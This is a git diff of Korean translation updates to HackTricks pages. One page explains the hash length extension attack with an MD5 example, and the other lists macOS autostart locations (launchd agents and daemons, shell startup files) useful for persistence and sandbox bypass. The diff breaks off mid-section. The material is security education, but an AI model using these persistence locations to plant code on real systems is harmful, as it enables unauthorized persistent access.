mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['crypto-and-stego/hash-length-extension-attack.md', 'cryptog
This commit is contained in:
parent
7a34ccfcb9
commit
fe51de5873
8 changed files with 943 additions and 722 deletions
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**하여 해킹 트릭을 **공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,11 +18,11 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 **무료** 기능을 제공하는 검색 엔진으로, 회사나 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 확인할 수 있습니다.
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 **도난당한 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
||||
|
||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
|
||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 시도해 볼 수 있습니다:
|
||||
그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
|
@ -30,28 +30,28 @@ WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한
|
|||
|
||||
## 공격 요약
|
||||
|
||||
일부 **데이터**에 **비밀**을 **추가**하고 해당 데이터를 해싱하는 서버를 상상해보세요. 다음을 알고 있다면:
|
||||
일부 **알려진 평문 데이터에 비밀을 추가**하고 해당 데이터를 해싱하는 서버를 상상해보십시오. 다음을 알고 있다면:
|
||||
|
||||
* **비밀의 길이** (주어진 길이 범위에서도 브루트포스할 수 있음)
|
||||
* **명확한 텍스트 데이터**
|
||||
* **비밀의 길이** (주어진 길이 범위에서도 브루트포스 가능)
|
||||
* **평문 데이터**
|
||||
* **알고리즘 (이 공격에 취약한)**
|
||||
* **패딩이 알려져 있다**
|
||||
* 일반적으로 기본값이 사용되므로, 다른 3가지 요구 사항이 충족되면 이것도 사용됨
|
||||
* 패딩은 비밀+데이터의 길이에 따라 달라지므로, 비밀의 길이가 필요함
|
||||
|
||||
그러면 **공격자**가 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**할 수 있습니다.
|
||||
그러면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명을 생성**할 수 있습니다.
|
||||
|
||||
### 어떻게?
|
||||
|
||||
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해싱**합니다.
|
||||
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**하고, 그런 다음 **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해싱**합니다.
|
||||
|
||||
그런 다음, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
||||
그런 다음, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "비밀데이터"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
||||
공격자가 문자열 "append"를 추가하려면:
|
||||
|
||||
* 64개의 "A"의 MD5를 생성
|
||||
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경
|
||||
* 문자열 "append"를 추가
|
||||
* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "append"**에 대한 **유효한 해시**가 됩니다
|
||||
* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "append"**에 대한 유효한 것이 될 것입니다
|
||||
|
||||
### **도구**
|
||||
|
||||
|
@ -59,30 +59,30 @@ WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한
|
|||
|
||||
### 참고 자료
|
||||
|
||||
이 공격에 대한 자세한 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)에서 찾을 수 있습니다.
|
||||
이 공격에 대한 좋은 설명은 [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 **무료** 기능을 제공하는 검색 엔진으로, 회사나 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 확인할 수 있습니다.
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 통해 동작하는 검색 엔진으로, 회사나 그 고객이 **도난당한 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
||||
|
||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
|
||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 시도해 볼 수 있습니다:
|
||||
그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**하여 해킹 트릭을 **공유**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,42 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 공격 요약
|
||||
|
||||
알려진 일부 평문 데이터에 **비밀**을 **추가**하고 해당 데이터를 해싱하여 **서명**하는 서버를 상상해보세요. 다음을 알고 있다면:
|
||||
일부 알려진 평문 데이터에 **비밀**을 **추가**하고 해당 데이터를 해싱하여 **서명**하는 서버를 상상해보십시오. 다음을 알고 있다면:
|
||||
|
||||
* **비밀의 길이** (주어진 길이 범위에서 브루트포스로 찾을 수도 있음)
|
||||
* **비밀의 길이** (주어진 길이 범위에서도 브루트포스할 수 있음)
|
||||
* **평문 데이터**
|
||||
* **알고리즘 (이 공격에 취약한)**
|
||||
* **패딩이 알려져 있는**
|
||||
* 일반적으로 기본 패딩이 사용되므로 다른 3가지 요구 사항을 충족하면 이 역시 그렇습니다.
|
||||
* 패딩은 비밀+데이터의 길이에 따라 다르므로 비밀의 길이가 필요합니다.
|
||||
* **알고리즘 (이 공격에 취약함)**
|
||||
* **패딩이 알려져 있음**
|
||||
* 일반적으로 기본값을 사용하므로, 다른 3가지 요구 사항이 충족되면 이것도 사용됨
|
||||
* 패딩은 비밀 + 데이터의 길이에 따라 다르며, 이는 비밀의 길이가 필요한 이유
|
||||
|
||||
그렇다면, **공격자**는 **데이터**를 **추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**할 수 있습니다.
|
||||
그러면 **공격자**가 **데이터를 추가**하고 **이전 데이터 + 추가된 데이터**에 대한 유효한 **서명**을 **생성**할 수 있습니다.
|
||||
|
||||
## 어떻게?
|
||||
|
||||
기본적으로 취약한 알고리즘은 먼저 **데이터 블록을 해싱**한 다음, **이전에** 생성된 **해시**(상태)에서 **다음 데이터 블록을 추가**하고 **해싱**합니다.
|
||||
|
||||
그러면, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "비밀데이터"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
||||
공격자가 문자열 "추가"를 추가하려면:
|
||||
그런 다음, 비밀이 "비밀"이고 데이터가 "데이터"인 경우, "secretdata"의 MD5는 6036708eba0d11f6ef52ad44e8b74d5b입니다.\
|
||||
공격자가 문자열 "append"를 추가하려면:
|
||||
|
||||
* 64개의 "A"의 MD5를 생성합니다.
|
||||
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경합니다.
|
||||
* 문자열 "추가"를 추가합니다.
|
||||
* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "추가"**에 대한 **유효한 해시**가 됩니다.
|
||||
* 64개의 "A"의 MD5를 생성합니다
|
||||
* 이전에 초기화된 해시의 상태를 6036708eba0d11f6ef52ad44e8b74d5b로 변경합니다
|
||||
* 문자열 "append"를 추가합니다
|
||||
* 해시를 완료하면 결과 해시는 **"비밀" + "데이터" + "패딩" + "append"**에 대한 유효한 것이 됩니다
|
||||
|
||||
## **도구**
|
||||
|
||||
|
@ -49,14 +49,14 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 **PR 제출**하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 **PR 제출**을 통해 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
이 섹션은 블로그 시리즈 [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/)를 기반으로 하며, 목표는 **더 많은 Autostart 위치**를 추가하는 것(가능한 경우), 최신 버전의 macOS(13.4)에서 **아직 작동하는 기술**을 나타내고 **필요한 권한**을 명시하는 것입니다.
|
||||
이 섹션은 [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) 블로그 시리즈를 기반으로 하며, **더 많은 Autostart 위치**를 추가하고, 최신 macOS 버전(13.4)에서 **아직 작동하는 기술**을 나타내고, **필요한 권한**을 명시하는 것을 목표로 합니다.
|
||||
|
||||
## 샌드박스 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
여기서는 **파일에 쓰고**, 매우 **일반적인 작업**, 특정 **시간** 또는 **루트 권한이 필요하지 않은 샌드박스 내에서 일반적으로 수행할 수 있는 작업을 기다리는 것**으로 **무언가를 실행**할 수 있게 해주는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다.
|
||||
여기서는 **파일에 쓰고**, 매우 **일반적인 동작**, 특정 **시간** 또는 **루트 권한이 필요하지 않은 샌드박스 내에서 일반적으로 수행할 수 있는 동작**을 **기다리는** 것으로 **무언가를 실행**할 수 있는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
@ -46,14 +46,20 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **`~/Library/LaunchDemons`**
|
||||
* **트리거**: 다시 로그인
|
||||
|
||||
#### 설명 및 공격
|
||||
{% hint style="success" %}
|
||||
**`launchd`**에는 다른 잘 알려진 서비스를 시작해야 하는 내장된 속성 목록이 있으며, 이 목록에는 `RequireSuccess`, `RequireRun`, `RebootOnSuccess`가 포함될 수 있습니다. 이는 해당 서비스가 실행되고 성공적으로 완료되어야 함을 의미합니다.
|
||||
|
||||
**`launchd`**는 부팅 시에 OX S 커널에 의해 실행되는 **첫 번째 프로세스**이며 종료 시에는 마지막에 완료됩니다. 이 프로세스는 항상 **PID 1**을 가져야 합니다. 이 프로세스는 다음 위치에 있는 **ASEP** **plist**에서 지정된 구성을 **읽고 실행**할 것입니다:
|
||||
물론, 코드 서명 때문에 수정할 수 없습니다.
|
||||
{% endhint %}
|
||||
|
||||
#### 설명 및 이용
|
||||
|
||||
**`launchd`**는 부팅 시에 macOS 커널에 의해 실행되는 **첫 번째 프로세스**이며 종료 시에 마지막으로 종료됩니다. 항상 **PID 1**을 가져야 합니다. 이 프로세스는 다음 위치에 있는 **ASEP** **plist**에서 지정된 구성을 **읽고 실행**할 것입니다:
|
||||
|
||||
* `/Library/LaunchAgents`: 관리자가 설치한 사용자별 에이전트
|
||||
* `/Library/LaunchDaemons`: 관리자가 설치한 시스템 전역 데몬
|
||||
* `/System/Library/LaunchAgents`: Apple이 제공한 사용자별 에이전트
|
||||
* `/System/Library/LaunchDaemons`: Apple이 제공한 시스템 전역 데몬
|
||||
* `/System/Library/LaunchAgents`: Apple이 제공하는 사용자별 에이전트
|
||||
* `/System/Library/LaunchDaemons`: Apple이 제공하는 시스템 전역 데몬
|
||||
|
||||
사용자가 로그인하면 `/Users/$USER/Library/LaunchAgents` 및 `/Users/$USER/Library/LaunchDemons`에 있는 plist가 **로그인한 사용자의 권한**으로 시작됩니다.
|
||||
|
||||
|
@ -80,57 +86,79 @@ HackTricks를 지원하는 다른 방법:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
**사용자 로그인 전에 에이전트를 실행해야 하는 경우가 있는데, 이를 PreLoginAgents라고 합니다**. 예를 들어, 이는 로그인 시 보조 기술을 제공하는 데 유용합니다. 이러한 파일들은 `/Library/LaunchAgents`에서도 찾을 수 있습니다([여기](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)에서 예제 확인).
|
||||
**사용자 로그인 전에 에이전트를 실행해야 하는 경우가 있습니다.** 이러한 것들은 **PreLoginAgents**라고 불립니다. 예를 들어, 이것은 로그인 시 보조 기술을 제공하는 데 유용합니다. 이러한 것들은 `/Library/LaunchAgents`에서도 찾을 수 있습니다([여기](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents)에서 예제를 확인하세요).
|
||||
|
||||
{% hint style="info" %}
|
||||
새로운 데몬 또는 에이전트 구성 파일은 **다음 재부팅 후 또는** `launchctl load <대상.plist>`을 사용하여 **로드됩니다.** `.plist 확장자 없이도 .plist 파일을 로드하는 것이 가능**합니다. `launchctl -F <파일>`(그러나 이러한 plist 파일들은 자동으로 재부팅 후 로드되지 않습니다).\
|
||||
`launchctl unload <대상.plist>`로 **언로드**하는 것도 가능합니다(해당 프로세스는 종료됩니다).
|
||||
새로운 데몬 또는 에이전트 구성 파일은 **다음 재부팅 후 또는** `launchctl load <대상.plist>`을 사용하여 **로드됩니다.** 또한 `.plist` 확장자 없이 `launchctl -F <파일>`로 .plist 파일을 로드할 수도 있습니다(그러나 이러한 plist 파일들은 자동으로 재부팅 후 로드되지 않을 것입니다).\
|
||||
`launchctl unload <대상.plist>`로 **언로드**할 수도 있습니다(해당 프로세스는 종료됩니다).
|
||||
|
||||
**에이전트** 또는 **데몬**이 **실행되는 것을 방지하는 것(오버라이드와 같은 것)이 없는지 확인**하려면 다음을 실행하십시오: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
**에이전트** 또는 **데몬**이 **실행되는 것을 방해하는 것(오버라이드와 같은 것)이 없는지 확인**하려면 다음을 실행하세요: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
현재 사용자에 의해 로드된 모든 에이전트와 데몬을 나열하십시오:
|
||||
현재 사용자에 의해 로드된 모든 에이전트와 데몬을 나열합니다:
|
||||
```bash
|
||||
launchctl list
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
만약 plist 파일이 사용자에 의해 소유되었다면, 데몬 시스템 전역 폴더에 있더라도 **작업은 사용자로 실행**되고 루트로 실행되지 않습니다. 이는 일부 권한 상승 공격을 방지할 수 있습니다.
|
||||
만약 plist 파일이 사용자에 의해 소유되었다면, 데몬 시스템 전역 폴더에 있더라도 **작업은 사용자로 실행**되고 root로 실행되지 않습니다. 이는 일부 권한 상승 공격을 방지할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 쉘 시작 파일
|
||||
#### launchd에 대한 자세한 정보
|
||||
|
||||
**`launchd`**는 **커널**에서 시작되는 **첫 번째** 사용자 모드 프로세스입니다. 프로세스 시작은 **성공적**이어야 하며 **종료되거나 충돌해서는 안**됩니다. 심지어 **일부 종료 신호에 대해 보호**됩니다.
|
||||
|
||||
`launchd`가 수행하는 첫 번째 작업 중 하나는 다음과 같은 **모든 데몬을 시작**하는 것입니다:
|
||||
|
||||
* **시간 기반 타이머 데몬**:
|
||||
* atd (`com.apple.atrun.plist`): `StartInterval`은 30분
|
||||
* crond (`com.apple.systemstats.daily.plist`): `StartCalendarInterval`은 00:15에 시작
|
||||
* **네트워크 데몬**:
|
||||
* `org.cups.cups-lpd`: `SockType: stream`으로 TCP에서 수신하며 `SockServiceName: printer`
|
||||
*  SockServiceName은 `/etc/services`에서 포트 또는 서비스여야 함
|
||||
* `com.apple.xscertd.plist`: 포트 1640에서 TCP 수신
|
||||
* **경로 데몬**:
|
||||
* `com.apple.postfix.master`: `/etc/postfix/aliases` 경로를 확인
|
||||
* **IOKit 알림 데몬**:
|
||||
* `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
|
||||
* **Mach 포트**:
|
||||
* `com.apple.xscertd-helper.plist`: `MachServices` 항목에서 `com.apple.xscertd.helper` 이름을 나타냄
|
||||
* **UserEventAgent**:
|
||||
* 이전과 다른 점이 있습니다. 특정 이벤트에 응답하여 앱을 생성하는 데 사용됩니다. 그러나 이 경우, 주된 이진 파일은 `launchd`가 아니라 `/usr/libexec/UserEventAgent`입니다. 각 플러그인은 `XPCEventModuleInitializer` 키 또는 이전 플러그인의 경우 `Info.plist`의 `CFPluginFactories` 사전의 `FB86416D-6164-2070-726F-70735C216EC0` 키 아래에서 초기화기를 나타냅니다.
|
||||
|
||||
### 셸 시작 파일
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 샌드박스 우회에 유용: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 하지만 이 파일들을 로드하는 쉘을 실행하는 TCC 우회를 가진 앱을 찾아야 함
|
||||
* 그러나 이 파일을 로드하는 셸을 실행하는 TCC 우회를 가진 앱을 찾아야 함
|
||||
|
||||
#### 위치
|
||||
|
||||
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
|
||||
* **트리거**: zsh로 터미널 열기
|
||||
* **트리거**: zsh로 터미널 열기
|
||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||
* **트리거**: zsh로 터미널 열기
|
||||
* 루트 권한 필요
|
||||
* **트리거**: zsh로 터미널 열기
|
||||
* 루트 권한 필요
|
||||
* **`~/.zlogout`**
|
||||
* **트리거**: zsh로 터미널 종료
|
||||
* **트리거**: zsh로 터미널 종료
|
||||
* **`/etc/zlogout`**
|
||||
* **트리거**: zsh로 터미널 종료
|
||||
* 루트 권한 필요
|
||||
* 추가 가능성 있음: **`man zsh`**
|
||||
* **트리거**: zsh로 터미널 종료
|
||||
* 루트 권한 필요
|
||||
* **`man zsh`**에서 더 많은 내용 확인 가능
|
